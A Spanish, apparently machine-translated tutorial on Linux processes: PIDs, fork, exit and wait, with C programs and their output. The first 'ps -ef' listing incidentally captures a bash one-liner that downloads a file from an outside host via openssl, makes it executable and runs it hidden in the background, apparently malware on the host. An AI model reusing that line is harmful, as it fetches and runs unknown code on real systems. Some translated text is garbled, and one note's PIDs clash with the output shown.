Comunicación entre procesos - Guía rápida
La comunicación entre procesos (IPC) es un mecanismo que implica la comunicación de un proceso con otro proceso. Esto generalmente ocurre solo en un sistema.
La comunicación puede ser de dos tipos:
Entre procesos relacionados que se inician desde un solo proceso, como procesos padre e hijo.
Entre procesos no relacionados, o dos o más procesos diferentes.
A continuación se presentan algunos términos importantes que debemos conocer antes de continuar con este tema.
Pipes- Comunicación entre dos procesos relacionados. El mecanismo es semidúplex, lo que significa que el primer proceso se comunica con el segundo proceso. Para lograr un dúplex completo, es decir, para que el segundo proceso se comunique con el primer proceso, se requiere otra tubería.
FIFO- Comunicación entre dos procesos no relacionados. FIFO es un dúplex completo, lo que significa que el primer proceso puede comunicarse con el segundo proceso y viceversa al mismo tiempo.
Message Queues- Comunicación entre dos o más procesos con capacidad full duplex. Los procesos se comunicarán entre sí publicando un mensaje y recuperándolo de la cola. Una vez recuperado, el mensaje ya no está disponible en la cola.
Shared Memory- La comunicación entre dos o más procesos se logra a través de una memoria compartida entre todos los procesos. La memoria compartida debe protegerse entre sí sincronizando el acceso a todos los procesos.
Semaphores- Los semáforos están diseñados para sincronizar el acceso a múltiples procesos. Cuando un proceso desea acceder a la memoria (para leer o escribir), debe bloquearse (o protegerse) y liberarse cuando se elimina el acceso. Esto debe repetirse en todos los procesos para proteger los datos.
Signals- La señal es un mecanismo de comunicación entre múltiples procesos mediante señalización. Esto significa que un proceso de origen enviará una señal (reconocida por un número) y el proceso de destino lo manejará en consecuencia.
Note - Casi todos los programas de este tutorial se basan en llamadas al sistema en el sistema operativo Linux (ejecutado en Ubuntu).
Antes de entrar en el proceso de información, necesitamos saber algunas cosas, como:
¿Qué es un proceso? Un proceso es un programa en ejecución.
¿Qué es un programa? Un programa es un archivo que contiene la información de un proceso y cómo construirlo durante el tiempo de ejecución. Cuando inicia la ejecución del programa, se carga en la RAM y comienza a ejecutarse.
Cada proceso se identifica con un número entero positivo único llamado ID de proceso o simplemente PID (número de identificación de proceso). El kernel generalmente limita el ID del proceso a 32767, que es configurable. Cuando el ID de proceso alcanza este límite, se restablece nuevamente, que es después del rango de procesos del sistema. Los ID de proceso no utilizados de ese contador se asignan a los procesos recién creados.
La llamada al sistema getpid () devuelve el ID de proceso del proceso de llamada.
#include <sys/types.h>
#include <unistd.h>
pid_t getpid(void);
Esta llamada devuelve el ID de proceso del proceso de llamada que se garantiza que es único. Esta llamada siempre tiene éxito y, por lo tanto, no devuelve ningún valor que indique un error.
Cada proceso tiene su ID único llamado ID de proceso que está bien, pero ¿quién lo creó? ¿Cómo obtener información sobre su creador? El proceso del creador se llama proceso padre. El ID de padre o PPID se puede obtener a través de la llamada getppid ().
La llamada al sistema getppid () devuelve el PID principal del proceso de llamada.
#include <sys/types.h>
#include <unistd.h>
pid_t getppid(void);
Esta llamada devuelve el ID de proceso principal del proceso de llamada. Esta llamada siempre tiene éxito y, por lo tanto, no devuelve ningún valor que indique un error.
Entendamos esto con un simple ejemplo.
A continuación se muestra un programa para conocer el PID y PPID del proceso de llamada.
File name: processinfo.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
int mypid, myppid;
printf("Program to know PID and PPID's information\n");
mypid = getpid();
myppid = getppid();
printf("My process ID is %d\n", mypid);
printf("My parent process ID is %d\n", myppid);
printf("Cross verification of pid's by executing process commands on shell\n");
system("ps -ef");
return 0;
}
En la compilación y ejecución del programa anterior, el resultado será el siguiente.
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 2017 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 2017 ? 00:06:06 /usr/libexec/mysqld
--basedir = /usr
--datadir = /var/lib/mysql
--plugin-dir = /usr/lib64/mysql/plugin
--user = mysql
--log-error = /var/log/mariadb/mariadb.log
--pid-file = /run/mariadb/mariadb.pid
--socket = /var/lib/mysql/mysql.sock
2868535 96284 0 0 05:23 ? 00:00:00 bash -c download() {
flag = "false" hsize = 1
echo -e "GET /$2 HTTP/1.1\nHost: $1\nConnection: close\n\n" |
openssl s_client -timeout -quiet
-verify_quiet -connect $1:443 2> /dev/null | tee out | while read line do if [[ "$flag" == "false" ]]
then
hsize = $((hsize+$(echo $line | wc -c))) fi if [[ "${line:1:1}" == "" ]]
then flag = "true"
fi
echo $hsize > size done tail -c +$(cat size) out >
$2 rm size out }
( download my.mixtape.moe mhawum 2>
/dev/null chmod +x mhawum 2>
/dev/null ./mhawum >
/dev/null 2>
/dev/null )&
2868535 96910 96284 99 05:23 ? 00:47:26 ./mhawum
6118874 104116 0 3 05:25 ? 00:00:00 sh -c cd /home/cg/root/6118874;
timeout 10s javac Puppy.java
6118874 104122 104116 0 05:25 ? 00:00:00 timeout 10s javac Puppy.java
6118874 104123 104122 23 05:25 ? 00:00:00 javac Puppy.java
3787205 104169 0 0 05:25 ? 00:00:00 sh -c cd /home/cg/root/3787205;
timeout 10s main
3787205 104175 104169 0 05:25 ? 00:00:00 timeout 10s main
3787205 104176 104175 0 05:25 ? 00:00:00 main
3787205 104177 104176 0 05:25 ? 00:00:00 ps -ef
Program to know PID and PPID's information
My process ID is 104176
My parent process ID is 104175
Cross verification of pid's by executing process commands on shell
Note- El sistema de funciones de la biblioteca "C" () ejecuta un comando de shell. Los argumentos pasados a system () son comandos ejecutados en el shell. En el programa anterior, el comando es "ps", que da el estado del proceso.
Se puede acceder a la información completa sobre todos los procesos en ejecución y otra información relacionada con el sistema desde el sistema de archivos proc disponible en la ubicación / proc.
Ahora que hemos visto cómo obtener la información básica del proceso y su proceso principal, es hora de analizar los detalles de la información del proceso / programa.
¿Qué es exactamente la imagen de proceso? La imagen de proceso es un archivo ejecutable necesario al ejecutar el programa. Esta imagen generalmente contiene las siguientes secciones:
- Segmento de código o segmento de texto
- Segmento de datos
- Segmento de pila
- Segmento de montón
A continuación se muestra la representación pictórica de la imagen del proceso.
Code segmentes una parte del espacio de direcciones virtuales del programa o archivo de objeto que consta de instrucciones ejecutables. Suele ser un segmento de datos de solo lectura y tiene un tamaño fijo.
El segmento de datos es de dos tipos.
- Initialized
- Un-initialized
Initialized data segment es una parte del archivo de objeto o del espacio de direcciones virtuales del programa que consta de variables estáticas y globales inicializadas.
Un-initialized data segmentes una parte del archivo de objeto o del espacio de direcciones virtuales del programa que consta de variables estáticas y globales no inicializadas. El segmento de datos no inicializado también se denomina segmento BSS (bloque iniciado por símbolo).
Data segmentes de lectura-escritura, ya que los valores de las variables se pueden cambiar durante el tiempo de ejecución. Este segmento también tiene un tamaño fijo.
Stack segmentes un área de memoria asignada para variables automáticas y parámetros de función. También almacena una dirección de retorno mientras ejecuta llamadas a funciones. Stack utiliza el mecanismo LIFO (Last-In-First-Out) para almacenar variables locales o automáticas, parámetros de función y almacenar la siguiente dirección o dirección de retorno. La dirección de retorno se refiere a la dirección a la que se debe regresar después de completar la ejecución de la función. Este tamaño de segmento es variable según las variables locales, los parámetros de función y las llamadas a funciones. Este segmento crece de una dirección superior a una dirección inferior.
Heap segmentes un área de memoria asignada para el almacenamiento de memoria dinámica, como las llamadas malloc () y calloc (). Este tamaño de segmento también es variable según la asignación de usuarios. Este segmento crece de una dirección más baja a una dirección más alta.
Veamos ahora cómo varía el tamaño de los segmentos (segmentos de datos y bss) con algunos programas de muestra. El tamaño del segmento se conoce ejecutando el comando "tamaño".
Programa inicial
Archivo: segmento_size1.c
#include<stdio.h>
int main() {
printf("Hello World\n");
return 0;
}
En el siguiente programa, se agrega una variable estática no inicializada. Esto significa que el tamaño del segmento no inicializado (BSS) aumentaría en 4 bytes.Note- En el sistema operativo Linux, el tamaño de int es 4 bytes. El tamaño del tipo de datos enteros depende del compilador y el soporte del sistema operativo.
Archivo: segmento_size2.c
#include<stdio.h>
int main() {
static int mystaticint1;
printf("Hello World\n");
return 0;
}
En el siguiente programa, se agrega una variable estática inicializada. Esto significa que el tamaño del segmento inicializado (DATOS) aumentaría en 4 bytes.
Archivo: segmento_size3.c
#include<stdio.h>
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
En el siguiente programa, se agrega una variable global inicializada. Esto significa que el tamaño del segmento inicializado (DATOS) aumentaría en 4 bytes.
Archivo: segmento_size4.c
#include<stdio.h>
int myglobalint1 = 500;
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
En el siguiente programa, se agrega una variable global no inicializada. Esto significa que el tamaño del segmento no inicializado (BSS) aumentaría en 4 bytes.
Archivo: segmento_size5.c
#include<stdio.h>
int myglobalint1 = 500;
int myglobalint2;
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
Pasos de ejecución
Compilacion
babukrishnam $ gcc segment_size1.c -o segment_size1
babukrishnam $ gcc segment_size2.c -o segment_size2 babukrishnam $ gcc segment_size3.c -o segment_size3
babukrishnam $ gcc segment_size4.c -o segment_size4 babukrishnam $ gcc segment_size5.c -o segment_size5
Ejecución / Salida
babukrishnam size segment_size1 segment_size2 segment_size3 segment_size4 segment_size5
text data bss dec hex filename
878 252 8 1138 472 segment_size1
878 252 12 1142 476 segment_size2
878 256 12 1146 47a segment_size3
878 260 12 1150 47e segment_size4
878 260 16 1154 482 segment_size5
babukrishnam
Hasta ahora sabemos que cada vez que ejecutamos un programa, se crea un proceso y se terminará una vez finalizada la ejecución. ¿Qué sucede si necesitamos crear un proceso dentro del programa y es posible que deseemos programar una tarea diferente para él? ¿Se puede lograr esto? Sí, obviamente a través de la creación de procesos. Por supuesto, una vez finalizado el trabajo, se cancelará automáticamente o puede finalizarlo según sea necesario.
La creación de procesos se logra a través del fork() system call. El proceso recién creado se llama proceso hijo y el proceso que lo inició (o el proceso cuando se inicia la ejecución) se llama proceso padre. Después de la llamada al sistema fork (), ahora tenemos dos procesos: procesos padre e hijo. ¿Cómo diferenciarlos? Muy simple, es a través de sus valores de retorno.
Después de la creación del proceso hijo, veamos los detalles de la llamada al sistema fork ().
#include <sys/types.h>
#include <unistd.h>
pid_t fork(void);
Crea el proceso hijo. Después de esta llamada, hay dos procesos, el existente se llama proceso padre y el recién creado se llama proceso hijo.
La llamada al sistema fork () devuelve cualquiera de los tres valores:
Valor negativo para indicar un error, es decir, no se pudo crear el proceso hijo.
Devuelve un cero para el proceso hijo.
Devuelve un valor positivo para el proceso padre. Este valor es el ID de proceso del proceso hijo recién creado.
Consideremos un programa simple.
File name: basicfork.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
fork();
printf("Called fork() system call\n");
return 0;
}
Pasos de ejecución
Compilacion
gcc basicfork.c -o basicfork
Ejecución / Salida
Called fork() system call
Called fork() system call
Note- Por lo general, después de la llamada a fork (), el proceso hijo y el proceso padre realizarían diferentes tareas. Si es necesario ejecutar la misma tarea, entonces para cada llamada a fork () se ejecutará 2 power n veces, donden es el número de veces que se invoca a fork ().
En el caso anterior, fork () se llama una vez, por lo tanto, la salida se imprime dos veces (2 potencia 1). Si se llama a fork (), digamos 3 veces, entonces la salida se imprimirá 8 veces (2 potencia 3). Si se llama 5 veces, se imprime 32 veces y así sucesivamente.
Habiendo visto a fork () crear el proceso hijo, es hora de ver los detalles de los procesos padre e hijo.
Nombre de archivo: pids_after_fork.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
pid_t pid, mypid, myppid;
pid = getpid();
printf("Before fork: Process id is %d\n", pid);
pid = fork();
if (pid < 0) {
perror("fork() failure\n");
return 1;
}
// Child process
if (pid == 0) {
printf("This is child process\n");
mypid = getpid();
myppid = getppid();
printf("Process id is %d and PPID is %d\n", mypid, myppid);
} else { // Parent process
sleep(2);
printf("This is parent process\n");
mypid = getpid();
myppid = getppid();
printf("Process id is %d and PPID is %d\n", mypid, myppid);
printf("Newly created process id or child pid is %d\n", pid);
}
return 0;
}
Pasos de compilación y ejecución
Before fork: Process id is 166629
This is child process
Process id is 166630 and PPID is 166629
Before fork: Process id is 166629
This is parent process
Process id is 166629 and PPID is 166628
Newly created process id or child pid is 166630
Un proceso puede terminar de dos formas:
De forma anormal, se produce al recibir ciertas señales, por ejemplo, señal de terminación.
Normalmente, se utiliza la llamada al sistema _exit () (o la llamada al sistema _Salir ()) o la función de biblioteca exit ().
La diferencia entre _exit () y exit () es principalmente la actividad de limpieza. losexit() hace un poco de limpieza antes de devolver el control al kernel, mientras que el _exit() (o _Salir ()) devolvería el control al núcleo inmediatamente.
Considere el siguiente programa de ejemplo con exit ().
Nombre de archivo: atexit_sample.c
#include <stdio.h>
#include <stdlib.h>
void exitfunc() {
printf("Called cleanup function - exitfunc()\n");
return;
}
int main() {
atexit(exitfunc);
printf("Hello, World!\n");
exit (0);
}
Pasos de compilación y ejecución
Hello, World!
Called cleanup function - exitfunc()
Considere el siguiente programa de ejemplo con _exit ().
Nombre de archivo: at_exit_sample.c
#include <stdio.h>
#include <unistd.h>
void exitfunc() {
printf("Called cleanup function - exitfunc()\n");
return;
}
int main() {
atexit(exitfunc);
printf("Hello, World!\n");
_exit (0);
}
Pasos de compilación y ejecución
Hello, World!
Como hemos visto, siempre que creamos un proceso hijo a partir de un programa que usa fork, sucede lo siguiente:
- El proceso actual ahora se convierte en el proceso principal
- El nuevo proceso se convierte en el proceso hijo
¿Qué sucede si el proceso padre termina su tarea antes que el proceso hijo y luego se cierra o sale? Ahora, ¿quién sería el padre del proceso hijo? El padre del proceso hijo es init process, que es el primer proceso que inicia todas las tareas.
Para monitorear el estado de ejecución del proceso hijo, para comprobar si el proceso hijo está en ejecución o detenido o para comprobar el estado de ejecución, etc., se utilizan las llamadas al sistema wait () y sus variantes.
Consideremos un programa de ejemplo, donde el proceso padre no espera al proceso hijo, lo que da como resultado que el proceso init se convierta en el nuevo padre del proceso hijo.
Nombre de archivo: parentprocess_nowait.c
#include<stdio.h>
int main() {
int pid;
pid = fork();
// Child process
if (pid == 0) {
system("ps -ef");
sleep(10);
system("ps -ef");
} else {
sleep(3);
}
return 0;
}
Pasos de compilación y ejecución
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 Jan20 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 Jan20 ? 00:04:41 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mariadb/mariadb.log --pid-file=/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock
3108506 5445 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 5446 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 21894 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 21895 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 27309 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 27311 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
8295652 32407 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
4688328 49830 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
3108506 50854 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
4688328 64936 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
3108506 64937 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 67563 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
5942779 68128 0 0 Jan22 ? 00:00:07 /sbin/klogd -c 1 -x -x
3108506 68238 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 68999 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
3108506 69212 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 74090 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 74091 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
4688328 74298 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 74299 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
6327201 74901 0 0 Jan20 ? 00:00:38 /sbin/klogd -c 1 -x -x
6327201 77274 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 78621 0 0 Jan20 ? 00:00:33 /sbin/klogd -c 1 -x -x
7528790 80536 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
6327201 80542 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
4688328 82050 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
3108506 82051 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
7528790 84116 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 84136 0 19 Jan20 ? 21:13:38 /sbin/klogd -c 1 -x -x
7528790 84140 0 0 Jan20 ? 00:00:28 /sbin/klogd -c 1 -x -x
3108506 84395 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84396 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
5942779 84397 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
3108506 84928 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84929 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
5942779 84930 0 0 Jan22 ? 00:00:30 [/sbin/klogd -c ] <defunct>
7528790 84970 0 0 Jan20 ? 00:00:34 /sbin/klogd -c 1 -x -x
3108506 85787 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 85789 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 86368 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 86402 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 87027 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
7528790 87629 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
7528790 87719 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
4688328 88138 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 88140 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 89353 0 99 Jan22 ? 2-07:35:14 /sbin/klogd -c 1 -x -x
5942779 91836 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
4688328 125358 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 125359 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 127456 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 127457 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
8023807 163891 0 0 05:41 ? 00:00:00 main
8023807 164130 0 0 05:41 ? 00:00:00 sh -c cd /home/cg/root/8023807; timeout 10s main
8023807 164136 164130 0 05:41 ? 00:00:00 timeout 10s main
8023807 164137 164136 0 05:41 ? 00:00:00 main
8023807 164138 164137 0 05:41 ? 00:00:00 main
8023807 164139 164138 0 05:41 ? 00:00:00 ps -ef
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 Jan20 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 Jan20 ? 00:04:41 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mariadb/mariadb.log --pid-file=/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock
3108506 5445 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 5446 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 21894 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 21895 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 27309 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 27311 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
8295652 32407 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
4688328 49830 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
3108506 50854 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
4688328 64936 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
3108506 64937 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 67563 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
5942779 68128 0 0 Jan22 ? 00:00:07 /sbin/klogd -c 1 -x -x
3108506 68238 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 68999 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
3108506 69212 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 74090 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 74091 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
4688328 74298 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 74299 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
6327201 74901 0 0 Jan20 ? 00:00:38 /sbin/klogd -c 1 -x -x
6327201 77274 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 78621 0 0 Jan20 ? 00:00:33 /sbin/klogd -c 1 -x -x
7528790 80536 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
6327201 80542 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
4688328 82050 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
3108506 82051 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
7528790 84116 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 84136 0 19 Jan20 ? 21:13:48 /sbin/klogd -c 1 -x -x
7528790 84140 0 0 Jan20 ? 00:00:28 /sbin/klogd -c 1 -x -x
3108506 84395 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84396 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
5942779 84397 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
3108506 84928 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84929 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
5942779 84930 0 0 Jan22 ? 00:00:30 [/sbin/klogd -c ] <defunct>
7528790 84970 0 0 Jan20 ? 00:00:34 /sbin/klogd -c 1 -x -x
3108506 85787 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 85789 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 86368 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 86402 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 87027 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
7528790 87629 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
7528790 87719 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
4688328 88138 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 88140 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 89353 0 99 Jan22 ? 2-07:35:24 /sbin/klogd -c 1 -x -x
5942779 91836 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
4688328 125358 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 125359 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 127456 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 127457 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
8023807 164138 0 0 05:41 ? 00:00:00 main
8023807 164897 164138 0 05:41 ? 00:00:00 ps -ef
Note - Observe que el PID del proceso padre era 94 y el PID del proceso hijo era 95. Después de que el proceso padre sale, el PPID del proceso hijo cambia de 94 a 1 (proceso de inicio).
A continuación se muestran las variantes de llamadas al sistema para monitorear los procesos secundarios:
- wait()
- waitpid()
- waitid()
los wait() La llamada al sistema esperaría a que uno de los hijos terminara y devolvería su estado de terminación en el búfer como se explica a continuación.
#include <sys/types.h>
#include <sys/wait.h>
pid_t wait(int *status);
Esta llamada devuelve el ID de proceso del hijo terminado en caso de éxito y -1 en caso de error. La llamada al sistema wait () suspende la ejecución del proceso actual y espera indefinidamente hasta que uno de sus hijos termine. El estado de terminación del niño está disponible en estado.
Modifiquemos el programa anterior, de modo que el proceso padre ahora espere al proceso hijo.
/ * Nombre de archivo: parentprocess_waits.c * /
#include<stdio.h>
int main() {
int pid;
int status;
pid = fork();
// Child process
if (pid == 0) {
system("ps -ef");
sleep(10);
system("ps -ef");
return 3; //exit status is 3 from child process
} else {
sleep(3);
wait(&status);
printf("In parent process: exit status from child is decimal %d, hexa %0x\n", status, status);
}
return 0;
}
Pasos de compilación y ejecución
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 Jan20 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 Jan20 ? 00:04:42 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mariadb/mariadb.log --pid-file=/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock
3108506 5445 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 5446 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 21894 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 21895 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 27309 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 27311 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
8295652 32407 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
4688328 49830 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
3108506 50854 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
4688328 64936 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
3108506 64937 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 67563 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
5942779 68128 0 0 Jan22 ? 00:00:07 /sbin/klogd -c 1 -x -x
3108506 68238 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 68999 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
3108506 69212 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 74090 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 74091 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
4688328 74298 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 74299 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
6327201 74901 0 0 Jan20 ? 00:00:38 /sbin/klogd -c 1 -x -x
6327201 77274 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 78621 0 0 Jan20 ? 00:00:33 /sbin/klogd -c 1 -x -x
7528790 80536 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
6327201 80542 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
4688328 82050 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
3108506 82051 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
7528790 84116 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 84136 0 19 Jan20 ? 21:19:39 /sbin/klogd -c 1 -x -x
7528790 84140 0 0 Jan20 ? 00:00:28 /sbin/klogd -c 1 -x -x
3108506 84395 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84396 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
5942779 84397 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
3108506 84928 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84929 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
5942779 84930 0 0 Jan22 ? 00:00:30 [/sbin/klogd -c ] <defunct>
7528790 84970 0 0 Jan20 ? 00:00:34 /sbin/klogd -c 1 -x -x
3108506 85787 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 85789 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 86368 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 86402 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 87027 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
7528790 87629 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
7528790 87719 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
